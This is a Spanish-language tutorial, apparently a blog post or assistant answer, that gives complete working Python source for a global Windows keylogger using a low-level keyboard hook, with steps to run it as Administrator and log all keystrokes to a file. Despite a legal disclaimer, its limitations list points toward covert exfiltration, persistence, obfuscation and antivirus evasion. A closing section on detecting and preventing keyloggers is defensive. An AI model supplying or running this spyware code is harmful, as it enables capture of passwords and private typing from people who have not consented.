Cómo crear un keylogger educativo en Python (con fines de aprendizaje/seguridad)

⚠️ ADVERTENCIA LEGAL Y ÉTICA: Crear, distribuir o usar keyloggers para monitorizar pulsaciones sin **consentimiento explícito, informado y por escrito** de todos los usuarios del dispositivo es **ILEGAL** en la inmensa mayoría de jurisdicciones (leyes de privacidad, interceptación de comunicaciones, acceso no autorizado, malware). Este código es **SOLO para educación en seguridad defensiva, auditoría autorizada, control parental consensuado o investigación propia en máquina propia**. Úsalo con responsabilidad.

Concepto: Hook de teclado de bajo nivel (Windows)

Usamos SetWindowsHookEx (API Windows) vía ctypes para interceptar WH_KEYBOARD_LL (13). Requiere Python 3.x + pywin32 (pip install pywin32) o ctypes nativo. No funciona en macOS/Linux de forma nativa (requiere X11/Wayland hooks, sudo, keyloggers de kernel).

Código educativo mínimo (Windows, consola, guarda en archivo)

import ctypes
import ctypes.wintypes
import time
import datetime
import sys

# Constantes Windows
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104
VK_ESCAPE = 0x1B

# Estructuras
class KBDLLHOOKSTRUCT(ctypes.Structure):
    _fields_ = [("vkCode", ctypes.wintypes.DWORD),
                ("scanCode", ctypes.wintypes.DWORD),
                ("flags", ctypes.wintypes.DWORD),
                ("time", ctypes.wintypes.DWORD),
                ("dwExtraInfo", ctypes.wintypes.ULONG_PTR)]

# Variables globales
hooked = None
log_file = "keylog_educativo.txt"
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# Callback de bajo nivel (DEBE ser rápida, sin I/O bloqueante)
def low_level_keyboard_proc(nCode, wParam, lParam):
    global hooked
    if nCode >= 0 and wParam in (WM_KEYDOWN, WM_SYSKEYDOWN):
        kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT)).contents
        vk = kb.vkCode
        # Mapeo básico de virtual keys a char legible
        if vk == VK_ESCAPE:  # Tecla ESC para salir (demo)
            print("\n[ESC] Deteniendo keylogger...")
            user32.UnhookWindowsHookEx(hooked)
            return 1  # No pasar a siguiente hook
        
        # Obtener carácter (simplificado, sin estado Shift/CapsLock/Layout completo)
        # Para producción: ToUnicodeEx con estado de teclado real.
        char = ctypes.wintypes.CHAR()
        # Simplificación: solo imprimibles ASCII básicos
        if 32 <= vk <= 126:
            ch = chr(vk)
        elif vk == 0x0D: ch = '[ENTER]'
        elif vk == 0x09: ch = '[TAB]'
        elif vk == 0x20: ch = ' '
        elif vk == 0x08: ch = '[BACKSPACE]'
        else: ch = f'[VK:{vk:02X}]'
        
        # Escribir en archivo (bufferizado en lista real)
        with open(log_file, "a", encoding="utf-8") as f:
            f.write(f"{datetime.datetime.now().isoformat()} {ch}\n")
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

# Configurar hook
HOOKPROC = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)
callback = HOOKPROC(low_level_keyboard_proc)

print(f"[*] Keylogger educativo iniciado. Log: {log_file}")
print("[*] Pulsa ESC en cualquier ventana para detener.")
print("[*] ADVERTENCIA: Solo en TU máquina, CON CONSENTIMIENTO.")

hooked = user32.SetWindowsHookExW(WH_KEYBOARD_LL, callback, kernel32.GetModuleHandleW(None), 0)
if not hooked:
    err = kernel32.GetLastError()
    print(f"[!] Error SetWindowsHookEx: {err}")
    sys.exit(1)

# Bucle de mensajes (necesario para que el hook reciba eventos)
msg = ctypes.wintypes.MSG()
while user32.GetMessageW(ctypes.byref(msg), 0, 0, 0) != 0:
    user32.TranslateMessage(ctypes.byref(msg))
    user32.DispatchMessageW(ctypes.byref(msg))

print("[*] Keylogger detenido.")

Cómo ejecutar

  1. Instala Python 3.x + pip install pywin32.
  2. Guarda código como keylogger_edu.py.
  3. Ejecuta en terminal como Administrador (necesario para hook global LL): python keylogger_edu.py.
  4. Escribe en cualquier ventana. Pulsa **ESC** para parar.
  5. Revisa keylog_educativo.txt.

Limitaciones de este ejemplo educativo

  • No maneja correctamente **Shift, Ctrl, Alt, CapsLock, AltGr, distribuciones de teclado (layout)**. Usa ToUnicodeEx con GetKeyboardState para eso.
  • Escribe en disco **por cada tecla** (lento, detectable). Producción: buffer en memoria + flush periódico / cifrado / exfiltración encubierta (malware).
  • Visible en lista de procesos. Sin persistencia, ofuscación, evasión AV/EDR.
  • Solo Windows. Linux: python-evdev (requiere root, /dev/input/eventX). macOS: CGEventTap (requiere Accessibility permission, SIP).

Defensa: Cómo detectar/prevenir keyloggers

  • **AV/EDR moderno** (Defender, CrowdStrike, SentinelOne) detecta hooks WH_KEYBOARD_LL no firmados / comportamiento anómalo.
  • **Teclado virtual (OSK)** para contraseñas: evita hook de hardware/software de user-mode.
  • **Gestores de contraseñas** (Bitwarden, 1Password, KeePassXC) auto-rellenan sin teclado.
  • **Monitor de integridad de sistema** (Tripwire, Wazuh, OSSEC) alerta hooks/drivers nuevos.
  • **Principio de menor privilegio:** Usuario estándar (no Admin) dificulta hooks globales y drivers de kernel.